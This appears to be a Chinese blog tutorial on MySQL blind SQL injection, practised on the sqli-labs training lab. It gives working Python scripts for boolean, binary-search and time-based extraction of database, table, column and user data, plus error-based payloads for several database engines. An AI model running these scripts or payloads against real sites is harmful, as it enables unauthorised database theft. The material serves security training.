MySQL-盲注浅析

起源是上交高校运维比赛(EIS_CTF)其中的一道盲注题,所以使用sqli-labs进行一个复习,权当是盲注的一个复习。

前言

所有的测试均为无WAF的情况下进行。

注释关键字

1
2
3
-- # 单行注释,两个-连接符后面紧跟着一个空格
# # 单行注释
/**/ # 多行注释

实践效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> SELECT username,password FROM `users` WHERE id = '2'#' LIMIT 0,1;
-> ;
+----------+------------+
| username | password |
+----------+------------+
| Angelina | I-kill-you |
+----------+------------+
1 row in set
mysql> SELECT username,password FROM `users` WHERE id = '2'-- ' LIMIT 0,1;
-> ;
+----------+------------+
| username | password |
+----------+------------+
| Angelina | I-kill-you |
+----------+------------+
1 row in set

都是可以正常得到查询的结果
说明后面的SQL语句已经被我们注释掉了

Sql注入截取字符串常用函数

在不回显的情况下,多数情况下都会用到截取字符串的问题,也就是在盲注的情况下,需要一个一个字符的去猜解,其中就需要截取字符串。

mid()函数

语法为:

1
SELECT MID(column_name,start[,length]) FROM table_name;

  • column_name 必需。要提取字符的字段。
    • start 必需。规定开始位置(起始值是 1)。
      • length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
        我们就直接使用sqli-labs的数据库进行演示。
        1
        2
        3
        4
        5
        6
        7
        8
        database()为security
        mysql> select mid(database(),1,4);
        +---------------------+
        | mid(database(),1,4) |
        +---------------------+
        | secu |
        +---------------------+
        1 row in set

其中column_name内容可为自行构造的sql语句。

substr()函数

语法为:

1
SELECT SUBSTR(column_name,start[,length]) FROM table_name;

描述和用法与mid()函数是一样的

1
2
3
4
5
6
7
mysql> select substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1);
+--------------------------------------------------------------------------------------------------------+
| substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) |
+--------------------------------------------------------------------------------------------------------+
| e |
+--------------------------------------------------------------------------------------------------------+
1 row in set

Left()函数

语法为:

1
SELECT LEFT(ARG,LENGTH) FROM table_name;

取一个字符串的前若干位

1
2
3
4
5
6
7
mysql> select left(database(),4);
+--------------------+
| left(database(),4) |
+--------------------+
| secu |
+--------------------+
1 row in set

布尔SQL盲注

用sqli-labs的第6题作为例子
sqli_labs_6_1

先手工fuzz一下。

1
2
3
http://192.168.2.100/sqli-labs/Less-6/?id=-1
http://192.168.2.100/sqli-labs/Less-6/?id=1'
http://192.168.2.100/sqli-labs/Less-6/?id=1"

"报错,继续fuzz

1
2
http://192.168.2.100/sqli-labs/Less-6/?id=1"and"1"="1
http://192.168.2.100/sqli-labs/Less-6/?id=1"and"1"="2

存在注入,但是没有回显,判断为可盲注。
测试一下(其实盲注的脚本真的就只是这几行,难度无非是在waf过滤函数的替换绕过)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
print("获取数据库长度")
for i in range(1, 32):
payload = "and length(database())=%d--+" % i
res = requests.get(url + payload)
if "You are in..........." in res.text:
print("[+]数据库长度为:" + str(i) + "位")
break
结果为
/usr/bin/python2.7 /home/rcoil/PycharmProjects/demo/demo.py
获取数据库长度
[+]数据库长度为:8位
Process finished with exit code 0

所以证明注入确实存在且为盲注,浏览器验证下。
sqli_labs_6_2

获取数据库名字

先测试(fuzz)
sqli_labs_6_3
发现是可行的。然后写脚本进行猜解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
print("获取数据库名字")
database = ''
for i in range(1, 10):
for j in range(97, 123):
payload = "and mid(database(),1,%d)='%s'--+" % (i, database + chr(j))
res = requests.get(url + payload)
if "You are in..........." in res.text:
database += chr(j)
print("[-]当前猜解:" +database)
break
print("[+]当前数据库:" +database)

如果出现编码问题,要注意的是headersContent-Type的值,必要的时候带入headers进行访问

获取表名

1
2
3
4
5
6
7
mysql> select mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,2);
+-----------------------------------------------------------------------------------------------------+
| mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,2) |
+-----------------------------------------------------------------------------------------------------+
| em |
+-----------------------------------------------------------------------------------------------------+
1 row in set

所以接下来代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
table_names = ''
for i in range(0, 8):
for k in range(1, 32):
for j in range(97, 123):
payload = "and mid((select table_name from information_schema.tables where table_schema='security' limit %d,1),1,%d)='%s'--+" % (i, k, table_names+chr(j))
request = requests.get(url + payload)
if "You are in" in request.text:
table_names += chr(j)
print("第" + str(i + 1) + "张表的名字为" + table_names)
break

我发现,如果想要优雅一些,用ascii()或者改变k的位置
比如

1
and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1))='%d'--+" % (i, k, j)

但是这样子的话,到最后,所有的table_names都拼接一起(后面补充)。

获取列名

1
2
3
4
5
6
7
mysql> select mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,4);
+------------------------------------------------------------------------------------------------------------------------------+
| mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,4) |
+------------------------------------------------------------------------------------------------------------------------------+
| user |
+------------------------------------------------------------------------------------------------------------------------------+
1 row in set

代码和上面的没区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
column_names = ''
for i in range(0, 8):
for k in range(1, 32):
for j in range(97, 123):
payload = "and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit %d,1),%d,1))='%d'--+" % (i, k, j)
request = requests.get(url + payload)
if "You are in" in request.text:
column_names += chr(j)
print("第" + str(i + 1) + "列字段名为" + column_names)
break

爆字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
url = 'http://192.168.2.100/sqli-labs/Less-6/?id=1"'
column_names = ''
for i in range(0, 8):
for k in range(1, 32):
for j in range(21, 127):
payload = "and ascii(mid((select username from security.users limit %d,1),%d,1))='%d'--+" % (i, k, j)
request = requests.get(url + payload)
if "You are in" in request.text:
column_names += chr(j)
print("第" + str(i + 1) + "行数据为" + column_names)
break

这个布尔SQL盲注暂时分析到这里。如果想要一脚本搞定以上所有的内容,那就def一下就很方便调用了。
写到这里的时候,我发现,所有的脚本都有很多的相同点,只需要更换变量就可以直接使用。而且,在去翻资料的过程中,我发现在bool盲注中二分法比穷举要快一些,所以我参照王一航的思路进行改写。
sqli_labs_6_4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
# encoding:utf8
import requests
import sys
url = "http://192.168.2.100/sqli-labs/Less-6/?id="
# 定义payload
def exce(database_name, table_name, column_name, Result, Char, mid):
global url
esndStr = " and\"1\"=\"1"
payload = "1\"and(ascii(mid((select " + column_name + " from " + database_name + "." + table_name + " limit " + Result + ",1)," + Char + ",1))>" + mid + ")"
tempurl = url + payload + esndStr
request = requests.get(tempurl).text
if "You are in..........." in request:
return True
else:
return False
# 二分查询
def doubleSearch(database_name, table_name, column_name, Result, Char, left_number, right_number):
while left_number < right_number:
mid = int((left_number + right_number) / 2)
if exce(database_name, table_name, column_name, str(Result),str(Char + 1),str(mid)):
left_number = mid
else:
right_number = mid
if right_number-left_number == 1:
if exce(database_name, table_name, column_name, str(Result),str(Char + 1),str(mid)):
mid += 1
break
else:
break
return chr(mid)
# 定义所有变量初始
def getAllData(database_name, table_name, column_name):
for i in range(32):
counter = 0
for j in range(32):
counter += 1
temp = doubleSearch(database_name, table_name, column_name, i, j, 0, 127) # 从255开始查询
if ord(temp) == 1:
break
sys.stdout.write(temp)
sys.stdout.flush()
if counter == 1:
break
sys.stdout.write("\r\n")
sys.stdout.flush()
def getAllSchemaNames():
return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema")
getAllSchemaNames()

大致思想:
1、mid为left和right的中间值,mid是否和left相等(right-left=1),相等跳到5,如果不等跳到2
2、请求mid,如果返回正确的页面跳到3,如果返回错误的页面跳到4
3、返回页面正确,将left赋值为mid
4、返回页面错误,将right赋值为mid
5、返回mid值

二分法它的原理是把可能出现的字符看做一个有序的序列,这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。

如果需要查找数据表和数据表的内容,在getAllSchemaNames()添加个where语句

时间的SQL盲注

延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术。

延迟注入主要点是在于if()函数的判断、

1
if(condition,true,false) //条件语句

  • condition 是判断条件
  • true 和false 是符合condition自定义的返回结果。

本地测试感受一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select ascii(mid(database(),1,1));
+----------------------------+
| ascii(mid(database(),1,1)) |
+----------------------------+
| 115 |
+----------------------------+
1 row in set (0.00 sec)
mysql> select if(ascii(mid(database(),1,1))=115,sleep(5),1);
+-----------------------------------------------+
| if(ascii(mid(database(),1,1))=115,sleep(5),1) |
+-----------------------------------------------+
| 0 |
+-----------------------------------------------+
1 row in set (5.01 sec)
mysql> select if(ascii(mid(database(),1,1))=114,sleep(5),1);
+-----------------------------------------------+
| if(ascii(mid(database(),1,1))=114,sleep(5),1) |
+-----------------------------------------------+
| 1 |
+-----------------------------------------------+
1 row in set (0.00 sec)

如果condition判断为正确,则产生延迟,否则不产生延迟。
至于脚本,修改下上面的脚本进行判断即可。

1
2
3
4
5
6
7
8
9
10
11
12
url = "http://192.168.2.100/sqli-labs/Less-9/?id="
esndStr = " and sleep(3))--+"
payload = "1' and ((ascii(mid((select " + column_name + " from " + database_name + "." + table_name + " limit " + Result + ",1)," + Char + ",1))>" + mid + ")"
tempurl = url + payload + esndStr
before_time = time.time()
requests.head(tempurl)
after_time = time.time()
use_time = after_time - before_time
if abs(use_time) < 0.1:
return True
else:
return False

报错的SQL盲注

如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。

比如在mysql中我们可以使用如下的经典语句进行报错。

1
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

这是网上流传很广的一个版本,可以简化成如下的形式。

1
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

1
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

1
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

其实这是mysql的一个bug所引起的,其他数据库都不会因为这个问题而报错。

另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。

1
2
3
4
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

而在其他数据库中也可以使用不同的方法构成报错

1
2
3
4
5
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

参考:
详解SQL盲注测试高级技巧
MYSQL注入天书之盲注讲解

!坚持技术分享,您的支持将鼓励我继续创作!